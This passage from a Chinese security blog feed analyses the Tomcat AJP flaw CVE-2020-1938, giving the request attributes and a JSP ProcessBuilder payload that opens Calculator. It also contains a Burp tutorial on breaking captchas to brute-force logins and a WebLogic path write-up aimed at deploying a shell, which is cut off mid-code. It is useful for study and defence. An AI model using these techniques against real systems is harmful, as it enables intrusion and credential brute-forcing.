alt="getRelativePath根据三个include属性获取资源相对路径"></p><p>这就导致我们虽然请求的是<code>/docs/test.jpg</code>文件内容,而实际上返回了<code>/docs/WEB-INF/web.xml</code>文件的内容。</p><p>至此大家可能有两个疑问</p><p><strong>问题1:为何Tomcat处理HTTP协议不存在该问题?</strong></p><p>答:因为在HTTP请求中,我们无法控制request对象三个<code>include</code>属性的值,而在AJP请求中可以。</p><p><strong>问题2:为何无法跳出webapps目录读文件呢?</strong></p><p><code>DefaultServlet</code>在读取资源时</p><p><img src="/articles/2020/cve-2020-1938-tomcat-ajp-lfi/2A1EE7C0-797C-4EF0-A60C-62BEE428403E.png" alt="跳目录读文件"></p><p>会调用<code>org.apache.tomcat.util.http.RequestUtil</code>工具类中的<code>normalize</code>方法来对路径进行校验,如果存在<code>./</code>或<code>../</code>则会返回<code>null</code>,最终会抛出一个非法路径的异常终止文件读取操作。</p><p><img src="/articles/2020/cve-2020-1938-tomcat-ajp-lfi/473B80B4-0C17-420D-B889-7017DD18B666.png" alt="normalize对路径进行校验导致无法跳目录"></p><h4 id="2-2-任意代码执行"><a href="#2-2-任意代码执行" class="headerlink" title="2.2 任意代码执行"></a>2.2 任意代码执行</h4><p>任意代码执行问题出现在<code>org.apache.jasper.servlet.JspServlet</code>这个servlet,假设我们发出一个请求内容如下的AJP请求,让Tomcat执行<code>/docs/test.jsp</code>,但实际上它会将<code>code.txt</code>当成jsp来解析执行.</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">RequestUri:/docs/test.jsp</span><br><span class="line">javax.servlet.include.request_uri: /</span><br><span class="line">javax.servlet.include.path_info: code.txt</span><br><span class="line">javax.servlet.include.servlet_path: /</span><br></pre></td></tr></table></figure><p>code.txt内容如下:</p><figure class="highlight jsp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><%</span><br><span class="line">java.util.List<String> commands = <span class="keyword">new</span> java.util.ArrayList<String>();</span><br><span class="line">commands.add(<span class="string">"/bin/bash"</span>);</span><br><span class="line">commands.add(<span class="string">"-c"</span>);</span><br><span class="line">commands.add(<span class="string">"/Applications/Calculator.app/Contents/MacOS/Calculator"</span>);</span><br><span class="line">java.lang.ProcessBuilder pb = <span class="keyword">new</span> java.lang.ProcessBuilder(commands);</span><br><span class="line">pb.start();</span><br><span class="line">%></span><br></pre></td></tr></table></figure><p>按照映射规则,我们的请求会被<br><code>org.apache.jasper.servlet.JspServlet</code>进行处理。</p><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag"><<span class="name">servlet</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">servlet-name</span>></span>jsp<span class="tag"></<span class="name">servlet-name</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">servlet-class</span>></span>org.apache.jasper.servlet.JspServlet<span class="tag"></<span class="name">servlet-class</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">init-param</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">param-name</span>></span>fork<span class="tag"></<span class="name">param-name</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">param-value</span>></span>false<span class="tag"></<span class="name">param-value</span>></span></span><br><span class="line"> <span class="tag"></<span class="name">init-param</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">init-param</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">param-name</span>></span>xpoweredBy<span class="tag"></<span class="name">param-name</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">param-value</span>></span>false<span class="tag"></<span class="name">param-value</span>></span></span><br><span class="line"> <span class="tag"></<span class="name">init-param</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">load-on-startup</span>></span>3<span class="tag"></<span class="name">load-on-startup</span>></span></span><br><span class="line"><span class="tag"></<span class="name">servlet</span>></span></span><br><span class="line">...</span><br><span class="line"><span class="comment"><!-- The mappings for the JSP servlet --></span></span><br><span class="line"><span class="tag"><<span class="name">servlet-mapping</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">servlet-name</span>></span>jsp<span class="tag"></<span class="name">servlet-name</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">url-pattern</span>></span>*.jsp<span class="tag"></<span class="name">url-pattern</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">url-pattern</span>></span>*.jspx<span class="tag"></<span class="name">url-pattern</span>></span></span><br><span class="line"><span class="tag"></<span class="name">servlet-mapping</span>></span></span><br></pre></td></tr></table></figure><p>由于<code>javax.servlet.include.servlet_path</code>值为<code>/</code>不为<code>null</code>,所以根据代码逻辑我们jsp文件的路径为:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">jspUri = javax.servlet.include.servlet_path + javax.servlet.include.path_info</span><br><span class="line">jspUri = / + code.txt</span><br><span class="line">jspUri = /code.txt</span><br></pre></td></tr></table></figure><p>可见<code>jspUri</code>是客户端可控。</p><p><img src="/articles/2020/cve-2020-1938-tomcat-ajp-lfi/7EE0D33F-5FEA-4F9F-A944-9F3FA1CE1C4D.png" alt="jspUri的构造"></p><p>由我们控制的<code>jspuri</code>被封装成了一个<code>JspServletWrapper</code>添加到了Jsp运行上下文<code>JspRuntimeContext</code>中.最后<code>wrapper.service()</code>会编译<code>code.txt</code>,并执行它的<code>_jspService()</code>方法来处理当前请求,我们的代码被执行。</p><p><img src="/articles/2020/cve-2020-1938-tomcat-ajp-lfi/4D7B7BDF-CAFB-43F7-BF81-D4AB3EE44DFF.png" alt="code.txt被tomcat编译执行"></p><p><img src="/articles/2020/cve-2020-1938-tomcat-ajp-lfi/23BFC3AE-EC40-4DF3-AD0E-913A913B3F9E.png" alt="code.txt被tomcat编译执行"></p><p>综上整个过程就清晰了,简而言之就是我们发送AJP请求,请求的是<code>/docs/test.jsp</code>这个jsp,但是由于那三个include属性可控,我们可以将<code>test.jsp</code>对应的服务器脚本文件改为了<code>code.txt</code>。<br>导致tomcat把我们的<code>code.txt</code>当jsp文件编译运行,导致代码执行。</p><p>最后给大家提两个问题:</p><p><strong>问题1: 请求的/docs/test.jsp需要在web目录下真是存在么?</strong></p><p>答: 不需要,我们只是为了让请求路径命中<code>org.apache.catalina.servlets.DefaultServlet</code>这个servlet的匹配规则。</p><p><strong>问题2: 如果tomcat不解析任何jsp,jspx等后缀,或者以它们为view的模板,还能触发漏洞么?如果可以又该如何触发?</strong></p><p>PS:这个问题是一个师傅留给我的,觉得很有意思,分享给大家思考,有想法的可以留言讨论。</p><h2 id="0x03-漏洞修复"><a href="#0x03-漏洞修复" class="headerlink" title="0x03 漏洞修复"></a>0x03 漏洞修复</h2><p>Tomcat在8.5.51版本做了如下修复 :</p><ol><li>默认不开启AJP</li><li>默认只监听本地ip</li><li>强制设置认证secret</li><li>代码层面主要在<code>AjpProcessor</code>类的<code>prepareRequest</code>方法封装<code>requst</code>对象时采用了白名单,只添加已知属性。这样<code>三个include属性</code>不再被客户端控制,漏洞修复。</li></ol><p><img src="/articles/2020/cve-2020-1938-tomcat-ajp-lfi/E57AE140-7077-4F97-AEBD-5011AE8D8BCE.png" alt="修复代码"></p><h2 id="0x04-参考文章"><a href="#0x04-参考文章" class="headerlink" title="0x04 参考文章"></a>0x04 参考文章</h2><ul><li><a href="https://mp.weixin.qq.com/s/GzqLkwlIQi_i3AVIXn59FQ" target="_blank" rel="noopener">【WEB安全】Tomcat-Ajp协议漏洞分析</a></li><li><a href="https://github.com/apache/tomcat/commit/b99fba5bd796d876ea536e83299603443842feba" target="_blank" rel="noopener">https://github.com/apache/tomcat/commit/b99fba5bd796d876ea536e83299603443842feba</a></li><li><a href="https://github.com/apache/tomcat/commit/40d5d93bd284033cf4a1f77f5492444f83d803e2" target="_blank" rel="noopener">https://github.com/apache/tomcat/commit/40d5d93bd284033cf4a1f77f5492444f83d803e2</a></li></ul>]]></content>
<categories>
<category> 漏洞分析 </category>
</categories>
<tags>
<tag> tomcat </tag>
</tags>
</entry>
<entry>
<title>使用burp插件captcha-killer识别图片验证码</title>
<link href="/articles/2019/burp-captcha-killer-usage/"/>
<url>/articles/2019/burp-captcha-killer-usage/</url>
<content type="html"><![CDATA[<h2 id="0x01-开发背景"><a href="#0x01-开发背景" class="headerlink" title="0x01 开发背景"></a>0x01 开发背景</h2><p>说起对存在验证码的登录表单进行爆破,大部分人都会想到<code>PKav HTTP Fuzzer</code>,这款工具在前些年确实给我们带来了不少便利。反观burp一直没有一个高度自定义通杀大部分图片验证码的识别方案,于是抽了点闲暇的时间开发了<a href="https://github.com/c0ny1/captcha-killer" target="_blank" rel="noopener">captcha-kille</a>,希望burp也能用上各种好用的识别码技术。其设计理念是<code>只专注做好对各种验证码识别技术接口的调用!</code>说具体点就是burp通过同一个插件,就可以适配各种验证码识别接口,无需重复编写调用代码。今天不谈编码层面如何设计,感兴趣的可以去github看源码。此处只通过使用步骤来说明设计的细节。</p><h2 id="0x02-Step1-将获取验证码的数据包发送到插件"><a href="#0x02-Step1-将获取验证码的数据包发送到插件" class="headerlink" title="0x02 Step1:将获取验证码的数据包发送到插件"></a>0x02 Step1:将获取验证码的数据包发送到插件</h2><p>使用burp抓取获取验证码数据包,然后右键<code>captcha-killer</code> -> <code>send to captcha panel</code>发送数据包到插件的验证码请求面板。</p><p><img src="/articles/2019/burp-captcha-killer-usage/step1-1.png" alt="将请求验证码数据包发送到插件"></p><p>然后到切换到插件面板,点击获取即可拿到要识别的验证码图片内容。</p><p><img src="/articles/2019/burp-captcha-killer-usage/step1-2.png" alt="请求获取验证码"></p><p><strong>注意:获取验证码的cookie一定要和intruder发送的cookie相同!</strong></p><h2 id="0x03-Step2-配置识别接口的地址和请求包"><a href="#0x03-Step2-配置识别接口的地址和请求包" class="headerlink" title="0x03 Step2:配置识别接口的地址和请求包"></a>0x03 Step2:配置识别接口的地址和请求包</h2><p>拿到验证码之后,就要设置接口来进行识别了。我们可以使用网上寻找免费的接口,用burp抓包,然后右键发送到插件的接口请求面板。</p><p><img src="/articles/2019/burp-captcha-killer-usage/step2-1.png" alt="将接口调用请求发送到插件"></p><p>然后我们把图片内容的位置用标签来代替。比如该例子使用的接口是post提交image参数,参数的值为图片二进制数据的base64编码后的url编码。那么<code>Request template</code>(请求模版)面板应该填写如下:</p><p><img src="/articles/2019/burp-captcha-killer-usage/step2-2.png" alt="接口请求模版设置"></p><table><thead><tr><th align="center">ID</th><th align="left">标签</th><th align="left">描述</th></tr></thead><tbody><tr><td align="center">1</td><td align="left"><code><@IMG_RAW></@IMG_RAW></code></td><td align="left">代表验证码图片原二进制内容</td></tr><tr><td align="center">2</td><td align="left"><code><@URLENCODE></@URLENCODE></code></td><td align="left">对标签内的内容进行url编码</td></tr><tr><td align="center">3</td><td align="left"><code><@BASE64></@BASE64></code></td><td align="left">对标签内的内容进行base64编码</td></tr></tbody></table><p>最后点击“识别”即可获取到接口返回的数据包,同时在<code>request raw</code>可以看到调用接口最终发送的请求包。</p><p><img src="/articles/2019/burp-captcha-killer-usage/step2-3.png" alt="模版被渲染为最终的请求"></p><h2 id="0x03-Step3-设置用于匹配识别结果的规则"><a href="#0x03-Step3-设置用于匹配识别结果的规则" class="headerlink" title="0x03 Step3:设置用于匹配识别结果的规则"></a>0x03 Step3:设置用于匹配识别结果的规则</h2><p>通过上一步我们获取到了识别接口的返回结果,但是插件并不知道返回结果中,哪里是真正的识别结果。插件提供了4中方式进行匹配,可以根据具体情况选择合适的。</p><table><thead><tr><th align="center">ID</th><th align="left">规则类型</th><th align="left">描述</th></tr></thead><tbody><tr><td align="center">1</td><td align="left">Repose data</td><td align="left">这种规则用于匹配接口返回包内容直接是识别结果</td></tr><tr><td align="center">2</td><td align="left">Regular expression</td><td align="left">正则表达式,适合比较复杂的匹配。比如接口返回包<code>{"coede":1,"result":"abcd"}</code>说明abcd是识别结果,我们可以编写规则为<code>result":"(.*?)"\}</code></td></tr><tr><td align="center">3</td><td align="left">Define the start and end positions</td><td align="left">定义开始和结束位置,使用上面的例子,可以编写规则<code>{"start":21,"end":25}</code></td></tr><tr><td align="center">4</td><td align="left">Defines the start and end strings</td><td align="left">定义开始和结束字符,使用上面的例子,可以编写规则为<code>{"start":"result\":\","end":"\"\}"}</code></td></tr></tbody></table><p>通过分析我们知道,接口返回的json数据中,字段<code>words</code>的值为识别结果。我们这里使用<code>Regular expression</code>(正则表达式)来匹配,然后选择<code>yzep</code>右键<code>标记为识别结果</code>,系统会自动生成正则表达式规则<code>" (.*?)"\}\]</code>。</p><p><img src="/articles/2019/burp-captcha-killer-usage/step3-1.png" alt="设置匹配方式和自动生成规则"></p><p>注意:若右键标记自动生成的规则匹配不精确,可以人工进行微调。比如该例子中可以微调规则为<code>"words"\: "(.*?)"\}</code>将更加准确!</p><p>到达这步建议将配置好常用接口的url,数据包已经匹配规则保存为模版,方便下次直接通过右键<code>模板库</code>中快速设置。同时插件也有默认的模版供大家使用与修改。</p><p><img src="/articles/2019/burp-captcha-killer-usage/step3-2.png" alt="保存设置好的配置,方便下次快速配置"></p><h2 id="0x04-Step4-在Intruder模块调用"><a href="#0x04-Step4-在Intruder模块调用" class="headerlink" title="0x04 Step4:在Intruder模块调用"></a>0x04 Step4:在Intruder模块调用</h2><p>配置好各项后,可以点击<code>锁定</code>对当前配置进行锁定,防止被修改导致爆破失败!接着安装以下步骤进行配置</p><p><img src="/articles/2019/burp-captcha-killer-usage/step4-1.png" alt="设置Intruder的爆破模式和payload位置"></p><p><img src="/articles/2019/burp-captcha-killer-usage/step4-2.png" alt="验证码payload选择有插件来生成"></p><p><img src="/articles/2019/burp-captcha-killer-usage/step4-3.png" alt="进行爆破,可以通过对比识别结果看出识别率"></p><h2 id="0x05-使用小案例"><a href="#0x05-使用小案例" class="headerlink" title="0x05 使用小案例"></a>0x05 使用小案例</h2><p>后续将通过小案例来演示,如何通过captcha-killer让burp使用上各种技术识别验证码(免费方案),敬请期待!</p><ul><li>《captcha-killer调用tesseract-ocr识别验证码》[待发布]</li><li>《captcha-killer调用完美识别验证码系统》[待发布]</li><li>《captcha-killer调用百度ocr识别验证码》[待发布]</li><li>《capatch-killer+机器学习识别验证码》[待发布]</li></ul>]]></content>
<categories>
<category> 安全开发 </category>
</categories>
<tags>
<tag> burp </tag>
</tags>
</entry>
<entry>
<title>重构sqlmap4burp插件</title>
<link href="/articles/2019/refactoring-sqlmap4burp/"/>
<url>/articles/2019/refactoring-sqlmap4burp/</url>
<content type="html"><![CDATA[<p>其实联动sqlmap与burp的插件挺多的,有<a href="https://code.google.com/p/gason/" target="_blank" rel="noopener">gson</a>,<a href="https://github.com/portswigger/co2" target="_blank" rel="noopener">CO2</a>,<a href="https://github.com/portswigger/sqli-py" target="_blank" rel="noopener">sqli-py</a>等等。但我独爱<a href="https://github.com/difcareer/sqlmap4burp" target="_blank" rel="noopener">sqlmap4burp</a>,因为它使用超简单。原来在Windows下体验还是很ok的,自从换上mac之后就不好使了。</p><a id="more"></a><p><code>sqlmap4burp</code>项目作者已经很久没有维护了,于是打算对其进行重构。新插件就叫<code>sqlmap4burp++</code>,表示感谢原作者的思路。<code>sqlmap4burp++</code>将<code>兼容更多操作系统</code>,<code>操作更加简单</code>,<code>界面更加简洁</code>!</p><h2 id="0x01-重构之路"><a href="#0x01-重构之路" class="headerlink" title="0x01 重构之路"></a>0x01 重构之路</h2><p>下面简单记录下重构做的一些小工作。</p><h3 id="1-1-去除多余依赖"><a href="#1-1-去除多余依赖" class="headerlink" title="1.1 去除多余依赖"></a>1.1 去除多余依赖</h3><p>原插件依赖<code>commons-io-<version>.jar</code>,<code>commons-langs-<version>.jar</code>这两个jar。但查看代码只是为了可以使用<code>FileUtils.writeByteArrayToFile()</code>和<code>StringUtils.isNoneBlank()</code>两个方法。<code>sqlmap4burp++</code>使用原生Java代码实现,让插件更轻量易编译。</p><h3 id="1-2-去除JTab控件"><a href="#1-2-去除JTab控件" class="headerlink" title="1.2 去除JTab控件"></a>1.2 去除JTab控件</h3><p>现在的Burp插件很丰富,Burp suite JTab控件太多界面会显得特别臃肿。</p><p><img src="/articles/2019/refactoring-sqlmap4burp/sqlmap4burp-tab.png" alt="sqlmap4burp的JTab控件"></p><p>考虑了下该插件并非特别需要JTab面板来添加sqlmap的配置命令,于是去除JTab控件该换成如下的弹窗。</p><p><img src="/articles/2019/refactoring-sqlmap4burp/sqlmap4burp-plus-plus-dlg.png" alt="sqlmap4burp++的弹框控件"></p><h3 id="1-3-多系统支持"><a href="#1-3-多系统支持" class="headerlink" title="1.3 多系统支持"></a>1.3 多系统支持</h3><p>插件会自动将Burp的request数据包保存为<code>xxx.req</code>到java临时目录,而多系统支持无非就是<strong>在目标系统下,能弹出命令行窗口并执行我们的<code>sqlmap -r xxx.req</code>命令</strong>,但各个系统实现的方式都有所不同!</p><h4 id="1-3-1-Windows"><a href="#1-3-1-Windows" class="headerlink" title="1.3.1 Windows"></a>1.3.1 Windows</h4><p>Windows实现比较简单,只需要将sqlmap命令保存为bat脚本(sqlmap4burp.bat),然后执行以下命令:</p><figure class="highlight bat"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">cmd</span>.exe /c <span class="built_in">start</span> sqlmap4burp.bat</span><br></pre></td></tr></table></figure><p>实现代码如下:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">String command = <span class="string">"sqlmap.py -r xxxxx.req"</span>;</span><br><span class="line">List<String> cmds = <span class="keyword">new</span> ArrayList();</span><br><span class="line">cmds.add(<span class="string">"cmd.exe"</span>);</span><br><span class="line">cmds.add(<span class="string">"/c"</span>);</span><br><span class="line">cmds.add(<span class="string">"start"</span>);</span><br><span class="line">String batFilePath = Util.makeBatFile(<span class="string">"sqlmap4burp.bat"</span>,command); <span class="comment">//生成bat文件</span></span><br><span class="line">cmds.add(batFilePath);</span><br><span class="line"><span class="keyword">new</span> ProcessBuilder(cmds).start();</span><br></pre></td></tr></table></figure><h4 id="1-3-2-Mac-OS-X"><a href="#1-3-2-Mac-OS-X" class="headerlink" title="1.3.2 Mac OS X"></a>1.3.2 Mac OS X</h4><p>Mac下我们可以编写如下<code>osascript</code>脚本来调用Terminal并让它执行sqlmap命令。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">tell application "Terminal"</span><br><span class="line">activate</span><br><span class="line">do script "sqlmpa.py -r xxx.req"</span><br><span class="line">end tell</span><br></pre></td></tr></table></figure><p>实现代码如下:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">String command = <span class="string">"sqlmap.py -r xxxxx.req"</span>;</span><br><span class="line">List<String> cmds = <span class="keyword">new</span> ArrayList();</span><br><span class="line">cmds.add(<span class="string">"osascript"</span>);</span><br><span class="line">cmds.add(<span class="string">"-e"</span>);</span><br><span class="line">String cmd = <span class="string">"tell application \"Terminal\" \n"</span> +</span><br><span class="line"> <span class="string">" activate\n"</span> +</span><br><span class="line"> <span class="string">" do script \"%s\"\n"</span> +</span><br><span class="line"> <span class="string">"end tell"</span>;</span><br><span class="line">cmds.add(String.format(cmd,command));</span><br><span class="line"><span class="keyword">new</span> ProcessBuilder(cmds).start();</span><br></pre></td></tr></table></figure><p>这里需要注意两点:</p><ul><li>第一次运行,mac会提示是否允许外部程序执行osscript,记得允许!</li><li>有时莫名其妙调用osascript不成功,我们需要确保Terminal是运行状态,如果已经是运行状态,可以重启下。</li></ul><h4 id="1-3-3-Linux"><a href="#1-3-3-Linux" class="headerlink" title="1.3.3 Linux"></a>1.3.3 Linux</h4><p>Linux下想实现弹出命令行窗口同时执行命令,我尝试了很多方法,但是都没有成功的。比较接近想要效果的方法是先将sqlmap命令写到shell脚本中(<code>sqlmap4burp.sh</code>)。然后执行如下命令来运行<code>sqlmap4burp.sh</code>:</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">gnome-terminal -t <span class="string">"sqlmap4burp"</span> -x bash -c <span class="string">"sh ./tmp/sqlmap4burp.sh;exec bash;"</span></span><br></pre></td></tr></table></figure><p>但使用代码去执行的时候并没有弹出<code>Terminal</code>。大家如果有解决方法,可以Fork <a href="https://github.com/c0ny1/sqlmap4burp-plus-plus" target="_blank" rel="noopener">sqlmap4burp++</a>项目贡献代码,或者发送想法到我的邮箱root#gv7.me。</p><p>目前采用临时的方法:先弹出<code>Terminal</code>窗口,然后将生成好的sqlmap命令复制剪贴板,最后手工在弹出的窗口中粘贴并执行。</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">String command = <span class="string">"sqlmap.py -r xxxxx.req"</span>;</span><br><span class="line">List<String> cmds = <span class="keyword">new</span> ArrayList();</span><br><span class="line">cmds.add(<span class="string">"/bin/sh"</span>);</span><br><span class="line">cmds.add(<span class="string">"-c"</span>);</span><br><span class="line">cmds.add(<span class="string">"gnome-terminal"</span>);</span><br><span class="line">Util.setSysClipboardText(command); <span class="comment">//sqlmap命令到剪贴板</span></span><br><span class="line"><span class="keyword">new</span> ProcessBuilder(cmds).start();</span><br></pre></td></tr></table></figure><p>完整代码请移步项目地址:<a href="https://github.com/c0ny1/sqlmap4burp-plus-plus" target="_blank" rel="noopener">https://github.com/c0ny1/sqlmap4burp-plus-plus</a></p><h2 id="0x02-插件演示"><a href="#0x02-插件演示" class="headerlink" title="0x02 插件演示"></a>0x02 插件演示</h2><p>插件已经在如下系统测试成功:</p><ul><li>Windows:7,10</li><li>Mac OSX:Mojave 10.14.5</li><li>Linux:Kali2019.2</li></ul><p>请FQ观看演示,或者直接访问:<a href="https://www.youtube.com/watch?v=1RWVkztssvw" target="_blank" rel="noopener">https://www.youtube.com/watch?v=1RWVkztssvw</a></p><iframe width="560" height="315" src="https://www.youtube.com/embed/1RWVkztssvw" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe><h2 id="0x03-参考项目"><a href="#0x03-参考项目" class="headerlink" title="0x03 参考项目"></a>0x03 参考项目</h2><ul><li><a href="https://github.com/blueroutecn/Burpsuite4Extender" target="_blank" rel="noopener">https://github.com/blueroutecn/Burpsuite4Extender</a></li><li><a href="https://github.com/difcareer/sqlmap4burp" target="_blank" rel="noopener">https://github.com/difcareer/sqlmap4burp</a></li></ul>]]></content>
<categories>
<category> 安全开发 </category>
</categories>
</entry>
<entry>
<title>weblogic“伪随机”目录生成算法探究</title>
<link href="/articles/2019/weblogic-pseudo-random-dir-generation-algorithm-exploration/"/>
<url>/articles/2019/weblogic-pseudo-random-dir-generation-algorithm-exploration/</url>
<content type="html"><![CDATA[<h2 id="0x01-背景说明"><a href="#0x01-背景说明" class="headerlink" title="0x01 背景说明"></a>0x01 背景说明</h2><p>我们在渗透测试过程中,可以很容易发现weblogic的 <code>server name</code>一旦被修改,其web应用有一个目录就会发生改变,导致我们在部署war拿shell时受阻。</p><p>比如bea_wls_internal这个weblogic自带web应用的web目录物理路径为:</p><p><strong>weblogic10.3.6.0\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\bea_wls_internal\9j4dqk\war</strong></p><p>PS:为了后面的讨论,这里统一下概念,域名为<code>base_domain</code>,<code>server name</code>为<code>AdminServer</code>,web应用名为<code>bea_wls_internal</code>,伪随机目录为<code>9j4dqk</code>。</p><p>这时如果<code>server name</code>修改为<code>c0ny1</code>的话,经过测试其伪随机目录会变成<code>qn64ct</code>,即该web应用物理路径变为:</p><p><strong>weblogic10.3.6.0\user_projects\domains\base_domain\servers\c0ny1\tmp\_WL_internal\bea_wls_internal\qn64ct\war</strong></p><h2 id="0x02-真随机-or-伪随机?"><a href="#0x02-真随机-or-伪随机?" class="headerlink" title="0x02 真随机 or 伪随机?"></a>0x02 真随机 or 伪随机?</h2><p>在此前我一直以为改目录是随机的无法。直到我做了下面的测试,将两个域的<code>server name</code>都改为<code>c0ny1</code>。</p><p><img src="/articles/2019/weblogic-pseudo-random-dir-generation-algorithm-exploration/test1.png" alt="bea_wls_internal随机目录变化"></p><p><img src="/articles/2019/weblogic-pseudo-random-dir-generation-algorithm-exploration/test2.png" alt="bea_wls9_async_reponses随机目录变化"></p><p>发现两个域下相同web应用的随机目录名相同,这说明随机数目录其实是伪随机,它是有算法来生成的。<strong>而通过结果我们很容易就判断出该随机数和域名无关,和<code>server name</code>与<code>application name</code>有关!</strong></p><h2 id="0x03-探究生成算法"><a href="#0x03-探究生成算法" class="headerlink" title="0x03 探究生成算法"></a>0x03 探究生成算法</h2><p>于是我打算跟踪下weblogic源码,扒出负责生产伪随机数的算法函数。由于其生成伪随机目录在weblogic未启动完全情况下,故通过weblogic配置的调试比较难。这种情况下更好的思路是插桩,但要插哪个函数的桩呢?</p><p>我在翻阅weblogic的源码(weblogic.jar)时,着重关注文件操作和部署接口的代码,发现了一个相关性很大的方法。该函数就在weblogic的路径工具类(weblogic.application.utils.PathUtils)中。</p><p><img src="/articles/2019/weblogic-pseudo-random-dir-generation-algorithm-exploration/weblogic-code.png" alt="相关方法"></p><p>在判断不失误的情况下,我们只要知道其传入的参数值就知道改函数如何使用了。为此我编写了如下代码,使用javassist将打印函数参数值的代码注入到该函数中。</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> javassist.ClassPool;</span><br><span class="line"><span class="keyword">import</span> javassist.CtClass;</span><br><span class="line"><span class="keyword">import</span> javassist.CtMethod;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">Test</span> </span>{</span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title">changeMethode</span><span class="params">()</span> </span>{</span><br><span class="line"> <span class="keyword">try</span> {</span><br><span class="line"> ClassPool.getDefault().insertClassPath(<span class="string">"/Users/c0ny1/IdeaProjects/weblogic-path-test/lib/weblogic.jar"</span>);</span><br><span class="line"></span><br><span class="line"> <span class="comment">// 获取需要修改的类</span></span><br><span class="line"> CtClass cls = ClassPool.getDefault().getCtClass(<span class="string">"weblogic.application.utils.PathUtils"</span>);</span><br><span class="line"> <span class="comment">// 获取类中的printTest方法</span></span><br><span class="line"> CtMethod m = cls.getDeclaredMethod(<span class="string">"generateTempPath"</span>);</span><br><span class="line"> <span class="comment">// 在方法中插入新的代码</span></span><br><span class="line"> <span class="comment">//m.insertBefore("System.out.println($1 + File.separator + Long.toString((long)Math.abs(var3.toString().hashCode()), 36));") ;</span></span><br><span class="line"> <span class="comment">// 修改该方法的内容</span></span><br><span class="line"> m.setBody(<span class="string">"{StringBuffer var3 = new StringBuffer();\n"</span> +</span><br><span class="line"> <span class="string">" if ($1 != null) {\n"</span> +</span><br><span class="line"> <span class="string">" var3.append($1);\n"</span> +</span><br><span class="line"> <span class="string">" }\n"</span> +</span><br><span class="line"> <span class="string">"\n"</span> +</span><br><span class="line"> <span class="string">" if ($2 != null) {\n"</span> +</span><br><span class="line"> <span class="string">" var3.append(\"_\").append($2);\n"</span> +</span><br><span class="line"> <span class="string">" }\n"</span> +</span><br><span class="line"> <span class="string">"\n"</span> +</span><br><span class="line"> <span 